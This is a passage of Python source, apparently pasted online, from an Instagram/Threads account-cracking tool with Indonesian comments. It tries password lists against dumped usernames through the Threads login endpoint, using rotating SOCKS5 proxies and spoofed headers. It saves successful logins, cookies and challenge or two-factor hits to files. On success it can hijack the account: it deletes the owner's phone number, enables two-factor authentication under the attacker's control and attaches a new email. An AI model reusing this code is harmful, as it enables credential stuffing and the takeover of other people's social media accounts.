  874.                             Temp = Require().AddMail(cookie)
  875.                             email, state, inbx = Temp['email'], Temp['di-konfirmasi'], Temp['Url']
  876.                             statd = 'Di Konfirmasi' if state is True else 'Tidak Di Konfirmasi'
  877.                             tree = Tree(f'\r╭ logged in user',style='green')
  878.                             true = tree.add(f'Succes logged {fullname}')
  879.                             true.add(f'Username {username}')
  880.                             true.add(f'Password {passwd}')
  881.                             true = tree.add(f'\r╭ informasi profiles',style='green')
  882.                             true.add(f'Followers {follower}')
  883.                             true.add(f'Following {followed}')
  884.                             true.add(f'Postingan {feedpost}')
  885.                             true = tree.add(f'\r╭ auth secure account',style='green')
  886.                             true.add(f'stats two {stat2fa}')
  887.                             true.add(f'screetkey {key}')
  888.                             true.add(f'pemulihan {kode}')  
  889.                             true.add(f'telephone {deleted}')  
  890.                             true.add(f'add email {email} {statd}')
  891.                             true.add(f'web email {inbx}')
  892.                             tree.add(f'Cookie {cookie}')
  893.                             printz(tree)
  894.                             save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}|{stat2fa}|{key}|{kode}|{deleted}|{email} {statd}|{inbx}|{cookie}\n'
  895.                         except Exception as e:
  896.                             print(e)
  897.                             tree = Tree(f'\r╭ logged in user',style='green')
  898.                             true = tree.add(f'Succes logged {fullname}')
  899.                             true.add(f'Username {username}')
  900.                             true.add(f'Password {passwd}')
  901.                             true = tree.add(f'\r╭ informasi profiles',style='green')
  902.                             true.add(f'Followers {follower}')
  903.                             true.add(f'Following {followed}')
  904.                             true.add(f'Postingan {feedpost}')
  905.                             tree.add(f'Cookie {cookie}')
  906.                             printz(tree)
  907.                             save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}|{cookie}\n'
  908.                     else:
  909.                         tree = Tree(f'\r╭ logged in user',style='green')
  910.                         true = tree.add(f'Succes logged {fullname}')
  911.                         true.add(f'Username {username}')
  912.                         true.add(f'Password {passwd}')
  913.                         true = tree.add(f'\r╭ informasi profiles',style='green')
  914.                         true.add(f'Followers {follower}')
  915.                         true.add(f'Following {followed}')
  916.                         true.add(f'Postingan {feedpost}')
  917.                         tree.add(f'Cookie {cookie}')
  918.                         printz(tree)
  919.                         save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}|{cookie}\n'
  920.                     with open('/sdcard/OK/'+self.result_ok,'a') as wr:
  921.                         wr.write(save)
  922.                         wr.close()
  923.                     break      
  924.                 elif 'two_factor_required' in str(response):
  925.                     try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
  926.                     except (UnboundLocalError) as e: pass
  927.                     tree = Tree('\r╭ logged two factor                ',style='red')
  928.                     true = tree.add(f'Gagal logged {fullname}')
  929.                     true.add(f'Username {username}')
  930.                     true.add(f'Password {passwd}')
  931.                     true = tree.add(f'\r╭ informasi profiles',style='red')
  932.                     true.add(f'Followers {follower}')
  933.                     true.add(f'Following {followed}')
  934.                     true.add(f'Postingan {feedpost}')
  935.                     printz(tree)
  936.                     save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}\n'
  937.                     self.faktor+=1
  938.                     with open('/sdcard/2F/'+self.result_two,'a') as wr:
  939.                         wr.write(save)
  940.                         wr.close()  
  941.                     break
  942.                 elif 'https://i.instagram.com/challenge/' in str(response):
  943.                     try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
  944.                     except (UnboundLocalError) as e: pass
  945.                     tree = Tree('\r╭ logged challenge                ',style='yellow')
  946.                     true = tree.add(f'Gagal logged {fullname}')
  947.                     true.add(f'Username {username}')
  948.                     true.add(f'Password {passwd}')
  949.                     true = tree.add(f'\r╭ informasi profiles',style='yellow')
  950.                     true.add(f'Followers {follower}')
  951.                     true.add(f'Following {followed}')
  952.                     true.add(f'Postingan {feedpost}')
  953.                     printz(tree)
  954.                     save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}\n'
  955.                     self.chekpoint+=1
  956.                     with open('/sdcard/CP/'+self.result_cp,'a') as wr:
  957.                         wr.write(save)
  958.                         wr.close()
  959.                     break    
  960.                 elif 'ip_block' in str(response):
  961.                     Console().print(f"[bold grey50]   ──>[bold red] HIDUPKAN MODE PESAWAT 5 DETIK!", end='\r')
  962.                     time.sleep(3.5)    
  963.                 else:
  964.                     continue  
  965.             except (KeyboardInterrupt, requests.exceptions.ConnectionError, requests.exceptions.TooManyRedirects):
  966.                 Console().print(f"[bold grey50]   ──>[bold red] KONEKSI ERROR!", end='\r')
  967.                 time.sleep(31)
  968.                 self.ExecAjax(username, password)
  969.         self.looping+=1
  970.        
  971.     def ExecAjax_Threads(self, username, password):
  972.         byps = requests.Session()
  973.         try: Console().print(f"[bold grey50]   ──>[bold white] Crack[bold green] {str(username)[:15]}[bold grey50]/[bold white]{'{:.0%}'.format(self.looping/float(len(dump)))}[bold grey50]/[bold white]{str(len(dump))}[bold grey50]/[bold white]{self.looping}[bold grey50]/[bold white] OK:-[bold green]{self.success}[bold white] CP:-[bold red]{self.chekpoint}[bold white] 2F:-[bold red]{self.faktor}[bold white]     ", end='\r')
  974.         except (ZeroDivisionError) as e:
  975.             Console().print(f"[bold grey50]   ──>[bold red] {str(e).upper()}!", end='\r')
  976.             time.sleep(3.5)
  977.         while True:
  978.             try:
  979.                 curl = byps.get('https://www.threads.net/accounts/onetap/?next=%2F&hl=en', allow_redirects=True)
  980.                 headers = {
  981.                     'Host': 'www.instagram.com',
  982.                     'content-length': str(random.randint(2000,2999)),
  983.                     'x-ig-app-id': '1217981644879628',
  984.                     'x-instagram-ajax': '1011794706',
  985.                     'user-agent': Useragent().useragent_ajax(),
  986.                     'content-type': 'application/x-www-form-urlencoded;charset=UTF-8',
  987.                     'x-asbd-id': '129477',
  988.                     'dpr': '2',
  989.                     'x-csrftoken': curl.cookies.get('csrftoken',None),
  990.                     'accept': '*/*',
  991.                     'origin': 'https://www.threads.net',
  992.                     'sec-fetch-site': 'same-origin',
  993.                     'sec-fetch-mode': 'navigate',
  994.                     'sec-fetch-dest': 'document',
  995.                     'referer': 'https://www.threads.net/?hl=en',
  996.                     'accept-encoding': 'gzip, deflate',
  997.                     'accept-language': 'en-US;q=0.8,en;q=0.9'
  998.                 }
  999.                 break
  1000.             except (requests.exceptions.ConnectionError):
  1001.                 Console().print(f"[bold grey50]   ──>[bold red] KONEKSI ERROR!", end='\r')
  1002.                 time.sleep(5)
  1003.                 self.ExecApi(username, password)
  1004.             except (Exception) as e:
  1005.                 Console().print(f"[bold grey50]   ──>[bold red] {str(e).upper()}!", end='\r')
  1006.                 time.sleep(3.5)
  1007.                 self.ExecAjax_Threads(username, password)
  1008.         for passwd in password:
  1009.             try:          
  1010.                 payload = {
  1011.                     'enc_password': Requre().enc_password(passwd),
  1012.                     'optIntoOneTap':'false',
  1013.                     'queryParams':json.dumps({"hl":"en"}),
  1014.                     'trustedDeviceRecords':'{}',
  1015.                     'username': username,
  1016.                 }
  1017.                 proxs = {'http': 'socks5://'+random.choice(Requ().Socksku())}
  1018.                 response = byps.post('https://www.threads.net/api/v1/web/accounts/login/ajax/', data = payload, headers = headers, proxies = proxs, allow_redirects=True).text
  1019.                 self.result_ok, self.result_two, self.result_cp = self.Simpan_Result()
  1020.                 if 'userId' in str(response):
  1021.                     self.success+=1
  1022.                     try: cookie = (';'.join(['%s=%s'%(name, value) for name, value in byps.cookies.get_dict().items()]))
  1023.                     except (Exception) as e: cookie = (None)
  1024.                     try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
  1025.                     except (UnboundLocalError) as e: pass
  1026.                     if 'ya' in self.amankan_akun:
  1027.                         try:
  1028.                             #RePassd  = Require().RePassword(passwd, ''.join(str(random.choice('abcdefghij@kdddez_-sess_-trrffrdd')) for i in range(8)), cookie)
  1029.                             #OnRd = f'{passwd}' if RePassd is None else f'{RePassd}'
  1030.                             num = Require().DeltPhone(cookie)
  1031.                             statp, pone = num['Dihapus'], num['Number']
  1032.                             deleted = f'{pone} Di Hapus' if statp is True else f'{pone} Tidak Di Hapus'
  1033.                             two = Require().Aktifkan2F(cookie)
  1034.                             kode, key, statf = two['kode-pemulihan'], two['SecretKey'], two['success-a2f']
  1035.                             stat2fa = 'Di Aktifkan' if statf is not False else 'Tidak Aktif'
  1036.                             Temp = Require().AddMail(cookie)
  1037.                             email, state, inbx = Temp['email'], Temp['di-konfirmasi'], Temp['Url']
  1038.                             statd = 'Di Konfirmasi' if state is True else 'Tidak Di Konfirmasi'
  1039.                             tree = Tree(f'\r╭ logged in user',style='green')
  1040.                             true = tree.add(f'Succes logged {fullname}')
  1041.                             true.add(f'Username {username}')
  1042.                             true.add(f'Password {passwd}')
  1043.                             true = tree.add(f'\r╭ informasi profiles',style='green')
  1044.                             true.add(f'Followers {follower}')
  1045.                             true.add(f'Following {followed}')
  1046.                             true.add(f'Postingan {feedpost}')
  1047.                             true = tree.add(f'\r╭ auth secure account',style='green')
  1048.                             true.add(f'stats two {stat2fa}')
  1049.                             true.add(f'screetkey {key}')
  1050.                             true.add(f'pemulihan {kode}')  
  1051.                             true.add(f'telephone {deleted}')  
  1052.                             true.add(f'add email {email} {statd}')
  1053.                             true.add(f'web email {inbx}')
  1054.                             tree.add(f'Cookie {cookie}')
  1055.                             printz(tree)
  1056.                             save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}|{stat2fa}|{key}|{kode}|{deleted}|{email} {statd}|{inbx}|{cookie}\n'
  1057.                         except Exception as e:
  1058.                             print(e)
  1059.                             tree = Tree(f'\r╭ logged in user',style='green')
  1060.                             true = tree.add(f'Succes logged {fullname}')
  1061.                             true.add(f'Username {username}')
  1062.                             true.add(f'Password {passwd}')
  1063.                             true = tree.add(f'\r╭ informasi profiles',style='green')
  1064.                             true.add(f'Followers {follower}')
  1065.                             true.add(f'Following {followed}')
  1066.                             true.add(f'Postingan {feedpost}')
  1067.                             tree.add(f'Cookie {cookie}')
  1068.                             printz(tree)
  1069.                             save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}|{cookie}\n'
  1070.                     else:
  1071.                         tree = Tree(f'\r╭ logged in user',style='green')
  1072.                         true = tree.add(f'Succes logged {fullname}')
  1073.                         true.add(f'Username {username}')
  1074.                         true.add(f'Password {passwd}')
  1075.                         true = tree.add(f'\r╭ informasi profiles',style='green')
  1076.                         true.add(f'Followers {follower}')
  1077.                         true.add(f'Following {followed}')
  1078.                         true.add(f'Postingan {feedpost}')
  1079.                         tree.add(f'Cookie {cookie}')
  1080.                         printz(tree)
  1081.                         save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}|{cookie}\n'
  1082.                     with open('/sdcard/OK/'+self.result_ok,'a') as wr:
  1083.                         wr.write(save)
  1084.                         wr.close()
  1085.                     break      
  1086.                 elif 'two_factor_required' in str(response):
  1087.                     try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
  1088.                     except (UnboundLocalError) as e: pass
  1089.                     tree = Tree('\r╭ logged two factor                ',style='red')
  1090.                     true = tree.add(f'Gagal logged {fullname}')
  1091.                     true.add(f'Username {username}')
  1092.                     true.add(f'Password {passwd}')
  1093.                     true = tree.add(f'\r╭ informasi profiles',style='red')
  1094.                     true.add(f'Followers {follower}')
  1095.                     true.add(f'Following {followed}')
  1096.                     true.add(f'Postingan {feedpost}')
  1097.                     printz(tree)
  1098.                     save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}\n'
  1099.                     self.faktor+=1
  1100.                     with open('/sdcard/2F/'+self.result_two,'a') as wr:
  1101.                         wr.write(save)
  1102.                         wr.close()  
  1103.                     break
  1104.                 elif 'https://i.instagram.com/challenge/' in str(response):
  1105.                     try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
  1106.                     except (UnboundLocalError) as e: pass
  1107.                     tree = Tree('\r╭ logged challenge                ',style='yellow')
  1108.                     true = tree.add(f'Gagal logged {fullname}')
  1109.                     true.add(f'Username {username}')
  1110.                     true.add(f'Password {passwd}')
  1111.                     true = tree.add(f'\r╭ informasi profiles',style='yellow')
  1112.                     true.add(f'Followers {follower}')
  1113.                     true.add(f'Following {followed}')
  1114.                     true.add(f'Postingan {feedpost}')
  1115.                     printz(tree)
  1116.                     save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}\n'
  1117.                     self.chekpoint+=1
  1118.                     with open('/sdcard/CP/'+self.result_cp,'a') as wr:
  1119.                         wr.write(save)
  1120.                         wr.close()
  1121.                     break    
  1122.                 elif 'ip_block' in str(response):
  1123.                     Console().print(f"[bold grey50]   ──>[bold red] HIDUPKAN MODE PESAWAT 5 DETIK!", end='\r')
  1124.                     time.sleep(3.5)    
  1125.                 else:
  1126.                     continue  
  1127.             except (KeyboardInterrupt, requests.exceptions.ConnectionError, requests.exceptions.TooManyRedirects):
  1128.                 Console().print(f"[bold grey50]   ──>[bold red] KONEKSI ERROR!", end='\r')
  1129.                 time.sleep(31)
  1130.                 self.ExecAjax_Threads(username, password)
  1131.         self.looping+=1
  1132.        
  1133.  
Add Comment
Please, Sign In to add comment